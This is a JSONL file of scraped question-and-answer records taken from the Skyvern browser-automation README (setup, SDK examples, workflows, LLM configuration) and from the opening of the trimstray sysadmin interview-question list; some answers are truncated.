{"id": "gh_ed6da1552240", "question": "How to: The path to your Chrome browser. This example path is for Mac.", "question_body": "About Skyvern-AI/skyvern", "answer": "browser_path = \"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome\"\nskyvern = Skyvern(\n    base_url=\"http://localhost:8000\",\n    api_key=\"YOUR_API_KEY\",\n    browser_path=browser_path,\n)\ntask = await skyvern.run_task(\n    prompt=\"Find the top post on hackernews today\",\n)\n```\n\n2. With Skyvern Service\n\nAdd two variables to your .env file:\n```bash", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 20132, "answer_score": 10, "has_code": true, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860926"}
{"id": "gh_c7c2d2fa6e04", "question": "How to: Run Skyvern with any remote browser", "question_body": "About Skyvern-AI/skyvern", "answer": "Grab the cdp connection url and pass it to Skyvern\n\n```python\nfrom skyvern import Skyvern\n\nskyvern = Skyvern(cdp_url=\"your cdp connection url\")\ntask = await skyvern.run_task(\n    prompt=\"Find the top post on hackernews today\",\n)\n```", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 20132, "answer_score": 10, "has_code": true, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860935"}
{"id": "gh_037101627768", "question": "How to: Get consistent output schema from your run", "question_body": "About Skyvern-AI/skyvern", "answer": "You can do this by adding the `data_extraction_schema` parameter:\n```python\nfrom skyvern import Skyvern\n\nskyvern = Skyvern()\ntask = await skyvern.run_task(\n    prompt=\"Find the top post on hackernews today\",\n    data_extraction_schema={\n        \"type\": \"object\",\n        \"properties\": {\n            \"title\": {\n                \"type\": \"string\",\n                \"description\": \"The title of the top post\"\n            },\n            \"url\": {\n                \"type\": \"string\",\n                \"description\": \"The URL of the top post\"\n            },\n            \"points\": {\n                \"type\": \"integer\",\n                \"description\": \"Number of points the post has received\"\n            }\n        }\n    }\n)\n```", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 20132, "answer_score": 10, "has_code": true, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860941"}
{"id": "gh_6e5f9641df30", "question": "How to: Docker Compose setup", "question_body": "About Skyvern-AI/skyvern", "answer": "1. Make sure you have [Docker Desktop](https://www.docker.com/products/docker-desktop/) installed and running on your machine\n1. Make sure you don't have postgres running locally (Run `docker ps` to check)\n1. Clone the repository and navigate to the root directory\n1. Run `skyvern init llm` to generate a `.env` file. This will be copied into the Docker image.\n1. Fill in the LLM provider key on the [docker-compose.yml](./docker-compose.yml). *If you want to run Skyvern on a remote server, make sure you set the correct server ip for the UI container in [docker-compose.yml](./docker-compose.yml).*\n2. Run the following command via the commandline:\n   ```bash\n    docker compose up -d\n   ```\n3. Navigate to `http://localhost:8080` in your browser to start using the UI\n\n> [!Important]\n> Only one Postgres container can run on port 5432 at a time. If you switch from the CLI-managed Postgres to Docker Compose, you must first remove the original container:\n> ```bash\n> docker rm -f postgresql-container\n> ```\n\nIf you encounter any database related errors while using Docker to run Skyvern, check which Postgres container is running with `docker ps`.", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 20132, "answer_score": 10, "has_code": true, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860951"}
{"id": "gh_89eddcf30b5d", "question": "How to: Skyvern Tasks", "question_body": "About Skyvern-AI/skyvern", "answer": "Tasks are the fundamental building block inside Skyvern. Each task is a single request to Skyvern, instructing it to navigate through a website and accomplish a specific goal.\n\nTasks require you to specify a `url`, `prompt`, and can optionally include a `data schema` (if you want the output to conform to a specific schema) and `error codes` (if you want Skyvern to stop running in specific situations).", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860957"}
{"id": "gh_c701d7570615", "question": "How to: Skyvern Workflows", "question_body": "About Skyvern-AI/skyvern", "answer": "Workflows are a way to chain multiple tasks together to form a cohesive unit of work.\n\nFor example, if you wanted to download all invoices newer than January 1st, you could create a workflow that first navigated to the invoices page, then filtered down to only show invoices newer than January 1st, extracted a list of all eligible invoices, and iterated through each invoice to download it.\n\nAnother example is if you wanted to automate purchasing products from an e-commerce store, you could create a workflow that first navigated to the desired product, then added it to a cart. Second, it would navigate to the cart and validate the cart state. Finally, it would go through the checkout process to purchase the items.\n\nSupported workflow features include:\n1. Browser Task\n1. Browser Action\n1. Data Extraction\n1. Validation\n1. For Loops\n1. File parsing\n1. Sending emails\n1. Text Prompts\n1. HTTP Request Block\n1. Custom Code Block\n1. Uploading files to block storage\n1. (Coming soon) Conditionals", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860964"}
{"id": "gh_54c537f954ae", "question": "How to: Livestreaming", "question_body": "About Skyvern-AI/skyvern", "answer": "Skyvern allows you to livestream the viewport of the browser to your local machine so that you can see exactly what Skyvern is doing on the web. This is useful for debugging and understanding how Skyvern is interacting with a website, and intervening when necessary", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860969"}
{"id": "gh_ac22aa575346", "question": "How to: Form Filling", "question_body": "About Skyvern-AI/skyvern", "answer": "Skyvern is natively capable of filling out form inputs on websites. Passing in information via the `navigation_goal` will allow Skyvern to comprehend the information and fill out the form accordingly.", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860973"}
{"id": "gh_f6e48e9addae", "question": "How to: Data Extraction", "question_body": "About Skyvern-AI/skyvern", "answer": "Skyvern is also capable of extracting data from a website.\n\nYou can also specify a `data_extraction_schema` directly within the main prompt to tell Skyvern exactly what data you'd like to extract from the website, in jsonc format. Skyvern's output will be structured in accordance to the supplied schema.", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860978"}
{"id": "gh_0bb343406ef4", "question": "How to: File Downloading", "question_body": "About Skyvern-AI/skyvern", "answer": "Skyvern is also capable of downloading files from a website. All downloaded files are automatically uploaded to block storage (if configured), and you can access them via the UI.", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860982"}
{"id": "gh_142ff15d0885", "question": "How to: Authentication", "question_body": "About Skyvern-AI/skyvern", "answer": "Skyvern supports a number of different authentication methods to make it easier to automate tasks behind a login. If you'd like to try it out, please reach out to us [via email](mailto:founders@skyvern.com) or [discord](https://discord.gg/fG2XXEuQX3).", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860986"}
{"id": "gh_57db42c9aa1c", "question": "How to: 🔐 2FA Support (TOTP)", "question_body": "About Skyvern-AI/skyvern", "answer": "Skyvern supports a number of different 2FA methods to allow you to automate workflows that require 2FA.\n\nExamples include:\n1. QR-based 2FA (e.g. Google Authenticator, Authy)\n1. Email based 2FA\n1. SMS based 2FA\n\n🔐 Learn more about 2FA support [here](https://www.skyvern.com/docs/credentials/totp).", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860994"}
{"id": "gh_6e43ba852cea", "question": "How to: Password Manager Integrations", "question_body": "About Skyvern-AI/skyvern", "answer": "Skyvern currently supports the following password manager integrations:\n- [x] Bitwarden\n- [x] Custom Credential Service (HTTP API)\n- [ ] 1Password\n- [ ] LastPass", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860999"}
{"id": "gh_3e8568407199", "question": "How to: Model Context Protocol (MCP)", "question_body": "About Skyvern-AI/skyvern", "answer": "Skyvern supports the Model Context Protocol (MCP) to allow you to use any LLM that supports MCP.\n\nSee the MCP documentation [here](https://github.com/Skyvern-AI/skyvern/blob/main/integrations/mcp/README.md)", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.861003"}
{"id": "gh_9ede324bd944", "question": "How to: Zapier / Make.com / N8N Integration", "question_body": "About Skyvern-AI/skyvern", "answer": "Skyvern supports Zapier, Make.com, and N8N to allow you to connect your Skyvern workflows to other apps.\n\n* [Zapier](https://www.skyvern.com/docs/integrations/zapier)\n* [Make.com](https://www.skyvern.com/docs/integrations/make.com)\n* [N8N](https://www.skyvern.com/docs/integrations/n8n)\n\n🔐 Learn more about 2FA support [here](https://www.skyvern.com/docs/credentials/totp).", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.861009"}
{"id": "gh_b005983ca3b6", "question": "How to: Real-world examples of Skyvern", "question_body": "About Skyvern-AI/skyvern", "answer": "We love to see how Skyvern is being used in the wild. Here are some examples of how Skyvern is being used to automate workflows in the real world. Please open PRs to add your own examples!", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.861014"}
{"id": "gh_ed593def2c03", "question": "How to: Invoice Downloading on many different websites", "question_body": "About Skyvern-AI/skyvern", "answer": "[Book a demo to see it live](https://meetings.hubspot.com/skyvern/demo)", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.861018"}
{"id": "gh_484500e3fd94", "question": "How to: Automate the job application process", "question_body": "About Skyvern-AI/skyvern", "answer": "[💡 See it in action](https://app.skyvern.com/tasks/create/job_application)", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.861023"}
{"id": "gh_ceb87663e250", "question": "How to: Automate materials procurement for a manufacturing company", "question_body": "About Skyvern-AI/skyvern", "answer": "[💡 See it in action](https://app.skyvern.com/tasks/create/finditparts)", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.861029"}
{"id": "gh_c48cfaa9156b", "question": "How to: Navigating to government websites to register accounts or fill out forms", "question_body": "About Skyvern-AI/skyvern", "answer": "[💡 See it in action](https://app.skyvern.com/tasks/create/california_edd)", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.861034"}
{"id": "gh_f4285292e91c", "question": "How to: Filling out random contact us forms", "question_body": "About Skyvern-AI/skyvern", "answer": "[💡 See it in action](https://app.skyvern.com/tasks/create/contact_us_forms)", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.861039"}
{"id": "gh_86582acf510a", "question": "How to: Retrieving insurance quotes from insurance providers in any language", "question_body": "About Skyvern-AI/skyvern", "answer": "[💡 See it in action](https://app.skyvern.com/tasks/create/bci_seguros)\n[💡 See it in action](https://app.skyvern.com/tasks/create/geico)", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.861045"}
{"id": "gh_c015073cf59b", "question": "How to: Contributor Setup", "question_body": "About Skyvern-AI/skyvern", "answer": "Make sure to have [uv](https://docs.astral.sh/uv/getting-started/installation/) installed.\n1. Run this to create your virtual environment (`.venv`)\n    ```bash\n    uv sync --group dev\n    ```\n2. Perform initial server configuration\n    ```bash\n    uv run skyvern quickstart\n    ```\n3. Navigate to `http://localhost:8080` in your browser to start using the UI\n   *The Skyvern CLI supports Windows, WSL, macOS, and Linux environments.*", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 20132, "answer_score": 10, "has_code": true, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.861050"}
{"id": "gh_7ab9340d1b7a", "question": "How to: Documentation", "question_body": "About Skyvern-AI/skyvern", "answer": "More extensive documentation can be found on our [📕 docs page](https://www.skyvern.com/docs). Please let us know if something is unclear or missing by opening an issue or reaching out to us [via email](mailto:founders@skyvern.com) or [discord](https://discord.gg/fG2XXEuQX3).", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.861055"}
{"id": "gh_6275c119fcdf", "question": "How to: Supported LLMs", "question_body": "About Skyvern-AI/skyvern", "answer": "| Provider | Supported Models |\n| -------- | ------- |\n| OpenAI   | gpt4-turbo, gpt-4o, gpt-4o-mini |\n| Anthropic | Claude 3 (Haiku, Sonnet, Opus), Claude 3.5 (Sonnet) |\n| Azure OpenAI | Any GPT models. Better performance with a multimodal llm (azure/gpt4-o) |\n| AWS Bedrock | Anthropic Claude 3 (Haiku, Sonnet, Opus), Claude 3.5 (Sonnet) |\n| Gemini | Gemini 2.5 Pro and flash, Gemini 2.0 |\n| Ollama | Run any locally hosted model via [Ollama](https://github.com/ollama/ollama) |\n| OpenRouter | Access models through [OpenRouter](https://openrouter.ai) |\n| OpenAI-compatible | Any custom API endpoint that follows OpenAI's API format (via [liteLLM](https://docs.litellm.ai/docs/providers/openai_compatible)) |\n\n#### Environment Variables\n\n##### OpenAI\n| Variable | Description| Type | Sample Value|\n| -------- | ------- | ------- | ------- |\n| `ENABLE_OPENAI`| Register OpenAI models | Boolean | `true`, `false` |\n| `OPENAI_API_KEY` | OpenAI API Key | String | `sk-1234567890` |\n| `OPENAI_API_BASE` | OpenAI API Base, optional | String | `https://openai.api.base` |\n| `OPENAI_ORGANIZATION` | OpenAI Organization ID, optional | String | `your-org-id` |\n\nRecommended `LLM_KEY`: `OPENAI_GPT4O`, `OPENAI_GPT4O_MINI`, `OPENAI_GPT4_1`, `OPENAI_O4_MINI`, `OPENAI_O3`\n\n##### Anthropic\n| Variable | Description| Type | Sample Value|\n| -------- | ------- | ------- | ------- |\n| `ENABLE_ANTHROPIC` | Register Anthropic models| Boolean | `true`, `false` |\n| `ANTHROPIC_API_KEY` | Anthropic API key| String | `sk-1234567890` |\n\nRecommended`LLM_KEY`: `ANTHROPIC_CLAUDE3.5_SONNET`, `ANTHROPIC_CLAUDE3.7_SONNET`, `ANTHROPIC_CLAUDE4_OPUS`, `ANTHROPIC_CLAUDE4_SONNET`\n\n##### Azure OpenAI\n| Variable | Description| Type | Sample Value|\n| -------- | ------- | ------- | ------- |\n| `ENABLE_AZURE` | Register Azure OpenAI models | Boolean | `true`, `false` |\n| `AZURE_API_KEY` | Azure deployment API key | String | `sk-1234567890` |\n| `AZURE_DEPLOYMENT` | Azure OpenAI Deployment Name | String | `skyvern-deployment`|\n| `AZURE_API_BASE` | Azure deployment api base url| String | `https://skyvern-deployment.openai.azure.com/`|\n| `AZURE_API_VERSION` | Azure API Version| String | `2024-02-01`|\n\nRecommended `LLM_KEY`: `AZURE_OPENAI`\n\n##### AWS Bedrock\n| Variable | Description| Type | Sample Value|\n| -------- | ------- | ------- | ------- |\n| `ENABLE_BEDROCK` | Register AWS Bedrock models. To use AWS Bedrock, you need to make sure your [AWS configurations](https://github.com/boto/boto3?tab=readme-ov-file#using-boto3) are set up correctly first. | Boolean | `true`, `false` |\n\nRecommended `LLM_KEY`: `BEDROCK_ANTHROPIC_CLAUDE3.7_SONNET_INFERENCE_PROFILE`, `BEDROCK_ANTHROPIC_CLAUDE4_OPUS_INFERENCE_PROFILE`, `BEDROCK_ANTHROPIC_CLAUDE4_SONNET_INFERENCE_PROFILE`\n\n##### Gemini\n| Variable | Description| Type | Sample Value|\n| -------- | ------- | ------- | ------- |\n| `ENABLE_GEMINI` | Register Gemini models| Boolean | `true`, `false` |\n| `GEMINI_API_KEY` | Gemini API Key| String | `your_google_gemini_api_key`|\n\nRecommended `LLM_KEY`: `GEMINI_2.5_PRO_PREVIEW`, `GEMINI_2.5_FLASH_PREVIEW`\n\n##### Ollama\n| Variable | Description| Type | Sample Value|\n| -------- | ------- | ------- | ------- |\n| `ENABLE_OLLAMA`| Register local models via Ollama | Boolean | `true`, `false` |\n| `OLLAMA_SERVER_URL` | URL for your Ollama server | String | `http://host.docker.internal:11434` |\n| `OLLAMA_MODEL` | Ollama model name to load | String | `qwen2.5:7b-instruct` |\n| `OLLAMA_SUPPORTS_VISION` | Enable vision support | Boolean | `true`, `false` |\n\nRecommended `LLM_KEY`: `OLLAMA`\n\nNote: Set `OLLAMA_SUPPORTS_VISION=true` for vision models like qwen3-vl, llava, etc.\n\n##### OpenRouter\n| Variable | Description| Type | Sample Value|\n| -------- | ------- | ------- | ------- |\n| `ENABLE_OPENROUTER`| Register OpenRouter models | Boolean | `true`, `false` |\n| `OPENROUTER_API_KEY` | OpenRouter API key | String | `sk-1234567890` |\n| `OPENROUTER_MODEL` | OpenRouter model name | String | `mistralai/mistral-small-3.1-24b-instruct` |\n| `OPENROUTER_API_BASE` | OpenRouter API base URL | String | `https://api.openrouter.ai/v1` |\n\nRecommended `LLM_KEY`: `OPENROUTER`\n\n##### OpenAI-Compatible\n| Variable | Description| Type | Sample Value|\n| -------- | ------- | ------- | ------- |\n| `ENABLE_OPENAI_COMPATIBLE`| Register a custom OpenAI-compatible API endpoint | Boolean | `true`, `false` |\n| `OPENAI_COMPATIBLE_MODEL_NAME` | Model name for OpenAI-compatible endpoint | String | `yi-34b`, `gpt-3.5-turbo`, `mistral-large`, etc.|\n| `OPENAI_COMPATIBLE_API_KEY` | API key for OpenAI-compatible endpoint | String | `sk-1234567890`|\n| `OPENAI_COMPATIBLE_API_BASE` | Base URL for OpenAI-compatible endpoint | String | `https://api.together.xyz/v1`, `http://localhost:8000/v1`, etc.|\n| `OPENAI_COMPATIBLE_API_VERSION` | API version for OpenAI-compatible endpoint, optional| String | `2023-05-15`|\n| `OPENAI_COMPATIBLE_MAX_TOKENS` | Maximum tokens for completion, optional| Integer | `4096`, `8192`, etc.|\n| `OPENAI_COMPATIBLE_TEMPERATURE` | T", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.861075"}
{"id": "gh_34602634418a", "question": "How to: Feature Roadmap", "question_body": "About Skyvern-AI/skyvern", "answer": "This is our planned roadmap for the next few months. If you have any suggestions or would like to see a feature added, please don't hesitate to reach out to us [via email](mailto:founders@skyvern.com) or [discord](https://discord.gg/fG2XXEuQX3).\n\n- [x] **Open Source** - Open Source Skyvern's core codebase\n- [x] **Workflow support** - Allow support to chain multiple Skyvern calls together\n- [x] **Improved context** - Improve Skyvern's ability to understand content around interactable elements by introducing feeding relevant label context through the text prompt\n- [x] **Cost Savings** - Improve Skyvern's stability and reduce the cost of running Skyvern by optimizing the context tree passed into Skyvern\n- [x] **Self-serve UI** - Deprecate the Streamlit UI in favour of a React-based UI component that allows users to kick off new jobs in Skyvern\n- [x] **Workflow UI Builder** - Introduce a UI to allow users to build and analyze workflows visually\n- [x] **Chrome Viewport streaming** - Introduce a way to live-stream the Chrome viewport to the user's browser (as a part of the self-serve UI)\n- [x] **Past Runs UI** - Deprecate the Streamlit UI in favour of a React-based UI that allows you to visualize past runs and their results\n- [X] **Auto workflow builder (\"Observer\") mode** - Allow Skyvern to auto-generate workflows as it's navigating the web to make it easier to build new workflows\n- [x] **Prompt Caching** - Introduce a caching layer to the LLM calls to dramatically reduce the cost of running Skyvern (memorize past actions and repeat them!)\n- [x] **Web Evaluation Dataset** - Integrate Skyvern with public benchmark tests to track the quality of our models over time\n- [ ] **Improved Debug mode** - Allow Skyvern to plan its actions and get \"approval\" before running them, allowing you to debug what it's doing and more easily iterate on the prompt\n- [ ] **Chrome Extension** - Allow users to interact with Skyvern through a Chrome extension (incl voice mode, saving tasks, etc.)\n- [ ] **Skyvern Action Recorder** - Allow Skyvern to watch a user complete a task and then automatically generate a workflow for it\n- [ ] **Interactable Livestream** - Allow users to interact with the livestream in real-time to intervene when necessary (such as manually submitting sensitive forms)\n- [ ] **Integrate LLM Observability tools** - Integrate LLM Observability tools to allow back-testing prompt changes with specific data sets + visualize the performance of Skyvern over time\n- [x] **Langchain Integration** - Create langchain integration in langchain_community to use Skyvern as a \"tool\".", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.861088"}
{"id": "gh_3b1f910282cb", "question": "How to: Contributing", "question_body": "About Skyvern-AI/skyvern", "answer": "We welcome PRs and suggestions! Don't hesitate to open a PR/issue or to reach out to us [via email](mailto:founders@skyvern.com) or [discord](https://discord.gg/fG2XXEuQX3).\nPlease have a look at our [contribution guide](CONTRIBUTING.md) and\n[\"Help Wanted\" issues](https://github.com/skyvern-ai/skyvern/issues?q=is%3Aopen+is%3Aissue+label%3A%22help+wanted%22) to get started!\n\nIf you want to chat with the skyvern repository to get a high level overview of how it is structured, how to build off it, and how to resolve usage questions, check out [Code Sage](https://sage.storia.ai?utm_source=github&utm_medium=referral&utm_campaign=skyvern-readme).", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.861094"}
{"id": "gh_093008977c69", "question": "How to: Star History", "question_body": "About Skyvern-AI/skyvern", "answer": "[![Star History Chart](https://api.star-history.com/svg?repos=Skyvern-AI/skyvern&type=Date)](https://star-history.com/#Skyvern-AI/skyvern&Date)", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.861099"}
{"id": "gh_e4387a09bf9f", "question": "How to: Table of Contents", "question_body": "About trimstray/test-your-sysadmin-skills", "answer": "|\nThe type of chapter\n|\nNumber of questions\n|\nShort description\n|\n| :---         | :---         | :---         |\n|\n[Introduction](#introduction)\n|||\n| :small_orange_diamond: [Simple Questions](#simple-questions) | 14 questions | Relaxed, fun and simple - are great for starting everything. |\n|\n[General Knowledge](#general-knowledge)\n|||\n| :small_orange_diamond: [Junior Sysadmin](#junior-sysadmin) | 65 questions | Reasonably simple and straight based on basic knowledge. |\n| :small_orange_diamond: [Regular Sysadmin](#regular-sysadmin) | 94 questions | The mid level of questions if that you have sound knowledge. |\n| :small_orange_diamond: [Senior Sysadmin](#senior-sysadmin) | 99 questions | Hard questions and riddles. Check it if you want to be good. |\n|\n[Secret Knowledge](#secret-knowledge)\n||\n| :small_orange_diamond: [Guru Sysadmin](#guru-sysadmin) | 12 questions | Really deep questions are to get to know Guru Sysadmin. |", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 11401, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/test-your-sysadmin-skills", "collected_at": "2026-01-17T12:59:33.391660"}
{"id": "gh_472a560a795c", "question": "How to: :diamond_shape_with_a_dot_inside: <a name=\"simple-questions\">Simple Questions</a>", "question_body": "About trimstray/test-your-sysadmin-skills", "answer": "-\nWhat did you learn this week?\n-\nWhat excites or interests you about the sysadmin world?\n-\nWhat is a recent technical challenge you experienced and how did you solve it?\n-\nTell me about the last major project you finished.\n-\nDo you contribute to any open source projects?\n-\nDescribe the setup of your homelab.\n-\nWhat personal achievement are you most proud of?\n-\nTell me about the biggest mistake you've made. How would you do it differently today?\n-\nWhat software tools are you going to install on the first day at a new job?\n-\nTell me about how you manage your knowledge database (e.g. wikis, files, portals).\n-\nWhat news sources do you check daily? (sysadmin, security-related or other)\n-\nYour NOC team has a new budget for sysadmin certifications. What certificate would you like and why?\n-\nHow do you interact with developers: *us vs. them* or *all pulling together with a different approach*?\n-\nWhich sysadmin question would you ask, if you were interviewing me, to know, how good I'm with non-standard situations?", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 11401, "answer_score": 10, "has_code": false, "url": "https://github.com/trimstray/test-your-sysadmin-skills", "collected_at": "2026-01-17T12:59:33.391674"}
{"id": "gh_db2a61b53f56", "question": "How to: :diamond_shape_with_a_dot_inside: <a name=\"junior-sysadmin\">Junior Sysadmin</a>", "question_body": "About trimstray/test-your-sysadmin-skills", "answer": "###### System Questions (37)\nGive some examples of Linux distribution. What is your favorite distro and why?\n- Red Hat Enterprise Linux\n- Fedora\n- CentOS\n- Debian\n- Ubuntu\n- Mint\n- SUSE Linux Enterprise Server (SLES)\n- SUSE Linux Enterprise Desktop (SLED)\n- Slackware\n- Arch\n- Kali\n- Backbox\n\nMy favorite Linux distribution:\n\n- **Arch Linux**, which offers a nice minimalist base system on which one can build a custom operating system. The beauty of it too is that it has the Arch User Repository (AUR), which when combined with its official binary repositories allows it to probably have the largest repositories of any distribution. Its packaging process is also very simple, which means if one wants a package not in its official repositories or the AUR, it should be easy to make it for oneself.\n- **Linux Mint**, which is also built from Ubuntu LTS releases, but features editions featuring a few different desktop environments, including Cinnamon, MATE and Xfce. Mint is quite polished and its aesthetics are rather appealing, I especially like its new icon theme, although I do quite dislike its GTK+ theme (too bland to my taste). I’ve also found a bug in its latest release Mint 19, that is getting quite irritating as I asked for with it over a fortnight ago on their forums and I have received no replies so far and it is a bug that makes my life on it more difficult.\n- **Kali Linux**, is a Debian-based Linux distribution aimed at advanced Penetration Testing and Security Auditing. Kali contains several hundred tools which are geared towards various information security tasks, such as Penetration Testing, Security research, Computer Forensics and Reverse Engineering.\n\nUseful resources:\n\n- [List of Linux distributions](https://en.wikipedia.org/wiki/List_of_Linux_distributions)\n- [What is your favorite Linux distro and why?](https://www.quora.com/What-is-your-favorite-Linux-distro-and-why)\nWhat are the differences between Unix, Linux, BSD, and GNU?\n**GNU** isn't really an OS. It's more of a set of rules or philosophies that govern free software, that at the same time gave birth to a bunch of tools while trying to create an OS. So **GNU** tools are basically open versions of tools that already existed, but were reimplemented to conform to principals of open software. **GNU/Linux** is a mesh of those tools and the **Linux kernel** to form a complete OS, but there are other GNUs, e.g. **GNU/Hurd**.\n\n**Unix** and **BSD** are \"older\" implementations of POSIX that are various levels of \"closed source\". **Unix** is usually totally closed source, but there are as many flavors of **Unix** as there are **Linux** (if not more). **BSD** is not usually considered \"open\", but it was considered to be very open when it was released. Its licensing also allowed for commercial use with far fewer restrictions than the more \"open\" licenses of the time allowed.\n\n**Linux** is the newest of the four. Strictly speaking, it's \"just a kernel\"; however, in general, it's thought of as a full OS when combined with GNU Tools and several other core components.\n\nThe main governing differences between these are their ideals. **Unix**, **Linux**, and 